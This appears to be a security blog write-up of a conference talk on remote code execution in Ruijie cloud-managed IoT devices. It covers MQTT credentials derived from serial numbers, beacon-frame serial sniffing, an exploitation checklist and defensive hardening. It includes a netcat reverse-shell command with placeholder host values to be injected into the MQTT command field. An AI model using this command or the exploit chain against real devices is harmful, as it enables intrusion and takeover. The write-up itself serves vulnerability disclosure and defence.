How to Pwn 50,000 IoT Devices via Cloud-Connected MQTT

TLDR: Researchers at Black Hat 2024 demonstrated how insecure cloud-to-device communication in Ruijie IoT hardware allows for full remote code execution. By reverse-engineering the device's MQTT implementation and exploiting the fact that serial numbers are used as both identifiers and authentication tokens, they gained root access to thousands of devices globally. This research highlights the critical danger of trusting hardware-based identifiers for authentication in cloud-connected ecosystems.

The security of IoT devices is often treated as a black box, but the real vulnerability rarely lies in the hardware itself. Instead, it is the cloud infrastructure that manages these devices that provides the most lucrative attack surface. When a manufacturer builds a cloud-connected ecosystem, they often prioritize ease of deployment over secure authentication. This research on Ruijie Networks devices proves that when you treat a serial number as a secret, you aren't just failing at security; you are handing the keys to your entire fleet to anyone with a packet sniffer.

The Anatomy of the Cloud-to-Device Bridge

The core of the issue is the way these devices handle cloud communication. Ruijie devices use an MQTT-based protocol to talk to the vendor's cloud platform. MQTT is a lightweight messaging protocol that relies on a publish-subscribe model. In this architecture, devices connect to a central broker and subscribe to specific topics to receive commands.

The researchers found that the device's authentication process was fundamentally broken. When a device connects to the MQTT broker, it uses its serial number as the username. The password generation process was equally flawed: the device takes its serial number, performs a string reversal, and then runs a SHA256 hash on the result. Because the serial number is printed on the back of every device and is often leaked in unboxing videos or setup tutorials on YouTube, the "secret" is effectively public knowledge.

This is a classic case of Identification and Authentication Failures, where the manufacturer assumes that a unique identifier is equivalent to a secure credential. Once the researchers generated a valid set of credentials for a target device, they could authenticate to the broker as that device.

From Authentication Bypass to RCE

Once authenticated, the researchers needed to understand how the cloud platform sent commands. By analyzing the MQTT topics, they discovered that the cloud platform sends JSON-formatted messages to the device. These messages contain an "OS command" field that the device executes directly.

The payload structure looked like this:

{
  "data": [
    "dev_config get --module \"flowctrl_udp\""
  ],
  "id": "2357611419",
  "type": "cmd",
  "ts": "1712477881003"
}

By simply replacing the command string with a reverse shell payload, such as nc -e /bin/bash [IP] [PORT], they achieved full remote code execution as root. This vulnerability, tracked under CVE-2024-45722, is a textbook example of why you should never allow a cloud platform to execute arbitrary commands on an edge device without strict input validation and sandboxing.

The Open Sesame Attack

Perhaps the most creative part of this research was the "Open Sesame" technique. The researchers realized they didn't even need to search for serial numbers online if they were physically near the target. They used Wi-Fi beacon frame sniffing to capture the broadcast messages sent by the access points.

Ruijie devices include the device's serial number in a vendor-specific data field within these beacon frames. By running a simple sniffer, an attacker can walk through an office building, collect the serial numbers of every Ruijie access point in range, and then use those serial numbers to compromise the devices via the cloud. This effectively turns a passive reconnaissance step into a weaponized exploit chain. This specific information disclosure is documented in CVE-2024-47146.

Real-World Implications for Pentesters

If you are performing a penetration test on an organization that uses these devices, your engagement just got a lot shorter. You no longer need to find a complex web application vulnerability to gain a foothold. Instead, you can focus on the IoT infrastructure.

1. Reconnaissance: Use a tool like Aircrack-ng to sniff beacon frames in the target environment. Look for the vendor-specific data fields that contain the serial numbers.
2. Exploitation: Once you have a serial number, use the reverse-engineered password generation logic to authenticate to the MQTT broker.
3. Post-Exploitation: Send a command to the device to open a reverse shell.

The impact is total network compromise. Once you have root access to an access point, you can pivot into the internal network, sniff traffic, or redirect users to malicious sites.

Defensive Hardening

For the blue team, the fix is clear: stop trusting hardware identifiers. If your devices must connect to a cloud, they should use mutual TLS (mTLS) with unique, per-device certificates stored in a secure element or a Trusted Platform Module (TPM). Never rely on serial numbers, MAC addresses, or any other publicly visible identifier as a password. Furthermore, implement strict network segmentation so that even if an IoT device is compromised, the attacker cannot reach critical internal assets.

The researchers reported these findings to Ruijie, and the vendor has since issued patches for the various vulnerabilities, including CVE-2024-47547 and CVE-2024-42494. If you are managing these devices, ensure your firmware is up to date. For the rest of us, this is a reminder that the most dangerous vulnerabilities are often the ones that rely on the simplest, most flawed assumptions about trust.